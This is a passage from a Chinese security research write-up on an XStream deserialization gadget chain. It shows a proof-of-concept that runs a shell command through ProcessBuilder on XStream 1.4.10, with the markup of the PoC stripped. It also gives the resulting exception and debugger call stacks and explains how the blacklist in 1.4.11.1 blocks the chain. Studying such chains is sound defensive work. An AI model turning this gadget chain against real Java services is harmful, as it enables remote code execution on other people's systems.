com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal(MapConverter.java:87) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:503) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:429) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:281) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:73) at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:106) at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98) at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:92) at com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal(MapConverter.java:87) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134) at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466) at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346) at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43) 15) 基于linked-hash-set的PoC(linked-hash-set.xml) 参[16] -------------------------------------------------------------------------- /bin/bash -c /bin/touch /tmp/scz_is_here false java.lang.ProcessBuilder start foo foo -------------------------------------------------------------------------- 这个PoC适用于如下版本的XStream: 1.4.10 未测试更低版本 $ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 linked-hash-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.String cannot be cast to java.security.Provider$Service class : java.util.LinkedHashSet required-type : java.util.LinkedHashSet converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter path : /linked-hash-set/jdk.nashorn.internal.objects.NativeString line number : 38 version : 1.4.10 ------------------------------- at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134) at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466) at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346) at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43) Caused by: java.lang.ClassCastException: java.lang.String cannot be cast to java.security.Provider$Service at javax.crypto.Cipher.chooseFirstProvider(Cipher.java:745) at javax.crypto.Cipher.update(Cipher.java:1827) at javax.crypto.CipherInputStream.getMoreData(CipherInputStream.java:139) at javax.crypto.CipherInputStream.read(CipherInputStream.java:246) at com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx.readFrom(ByteArrayOutputStreamEx.java:65) at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get(Base64Data.java:182) at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString(Base64Data.java:286) at jdk.nashorn.internal.objects.NativeString.getStringValue(NativeString.java:121) at jdk.nashorn.internal.objects.NativeString.hashCode(NativeString.java:117) at java.util.HashMap.hash(HashMap.java:339) at java.util.HashMap.put(HashMap.java:612) at java.util.HashSet.add(HashSet.java:220) at com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection(CollectionConverter.java:99) at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:91) at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:85) at com.thoughtworks.xstream.converters.collections.CollectionConverter.unmarshal(CollectionConverter.java:80) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more 1.4.11.1的InternalBlackList不但对付了"java.beans.EventHandler",还对付了 "javax.crypto.*",因此linked-hash-set.xml在1.4.11.1上失败。 $ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 linked-hash-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected. ---- Debugging information ---- message : Security alert. Unmarshalling rejected. class : javax.crypto.CipherInputStream required-type : javax.crypto.CipherInputStream converter-type : com.thoughtworks.xstream.XStream$InternalBlackList path : /linked-hash-set/jdk.nashorn.internal.objects.NativeString/value/dataHandler/dataSource/is line number : 6 class[1] : com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource required-type[1] : com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource converter-type[1] : com.thoughtworks.xstream.converters.reflection.ReflectionConverter class[2] : javax.activation.DataHandler required-type[2] : javax.activation.DataHandler class[3] : com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data required-type[3] : com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data class[4] : jdk.nashorn.internal.objects.NativeString required-type[4] : jdk.nashorn.internal.objects.NativeString class[5] : java.util.LinkedHashSet required-type[5] : java.util.LinkedHashSet converter-type[2] : com.thoughtworks.xstream.converters.collections.CollectionConverter version : 1.4.11.1 ------------------------------- at com.thoughtworks.xstream.XStream$InternalBlackList.unmarshal(XStream.java:2560) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425) at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem(AbstractCollectionConverter.java:132) at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:117) at com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection(CollectionConverter.java:98) at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:91) at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:85) at com.thoughtworks.xstream.converters.collections.CollectionConverter.unmarshal(CollectionConverter.java:80) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134) at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1487) at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1467) at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1347) at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43) 15.19) ProcessBuilder.start()调用栈回溯 $ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 linked-hash-set.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.lang.ProcessBuilder.start [1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] javax.imageio.ImageIO$ContainsFilter.filter (ImageIO.java:613), pc = 9 [7] javax.imageio.spi.FilterIterator.advance (ServiceRegistry.java:834), pc = 27 [8] javax.imageio.spi.FilterIterator.next (ServiceRegistry.java:852), pc = 21 [9] javax.crypto.Cipher.chooseFirstProvider (Cipher.java:745), pc = 133 [10] javax.crypto.Cipher.update (Cipher.java:1,827), pc = 35 [11] javax.crypto.CipherInputStream.getMoreData (CipherInputStream.java:139), pc = 99 [12] javax.crypto.CipherInputStream.read (CipherInputStream.java:246), pc = 20 [13] com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx.readFrom (ByteArrayOutputStreamEx.java:65), pc = 61 [14] com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get (Base64Data.java:182), pc = 33 [15] com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString (Base64Data.java:286), pc = 1 [16] jdk.nashorn.internal.objects.NativeString.getStringValue (NativeString.java:121), pc = 24 [17] jdk.nashorn.internal.objects.NativeString.hashCode (NativeString.java:117), pc = 1 [18] java.util.HashMap.hash (HashMap.java:339), pc = 9 [19] java.util.HashMap.put (HashMap.java:612), pc = 2 [20] java.util.HashSet.add (HashSet.java:220), pc = 8 [21] com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection (CollectionConverter.java:99), pc = 13 [22] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:91), pc = 21 [23] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:85), pc = 5 [24] com.thoughtworks.xstream.converters.collections.CollectionConverter.unmarshal (CollectionConverter.java:80), pc = 18 [25] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [26] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [27] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [28] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [29] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [30] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [31] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [32] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [33] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [34] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25 ☆ 参考资源 [9] XStream http://x-stream.github.io/ https://x-stream.github.io/tutorial.html http://x-stream.github.io/security.html http://x-stream.github.io/download.html XStream Converters http://x-stream.github.io/converters.html http://x-stream.github.io/converter-tutorial.html http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/Converter.html http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.11.1/xstream-distribution-1.4.11.1-src.zip http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.11.1/xstream-distribution-1.4.11.1-bin.zip http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.11.1/xstream-1.4.11.1.jar http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.10/xstream-distribution-1.4.10-bin.zip http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.10/xstream-1.4.10.jar http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.6/xstream-1.4.6.jar http://x-stream.github.io/CVE-2013-7285.html [10] Java XStream反序列化漏洞 - [2019-10-21] https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ (讲了各种版本不能成功的原因) [13] Jenkins之Java反序列化漏洞分析(CVE-2016-0792) - vul_wish [2016-03-02] https://www.freebuf.com/vuls/97659.html (是下文的译文) Serialization Must Die: Act 2: XStream (Jenkins CVE-2016-0792) - [2016-02-24] https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream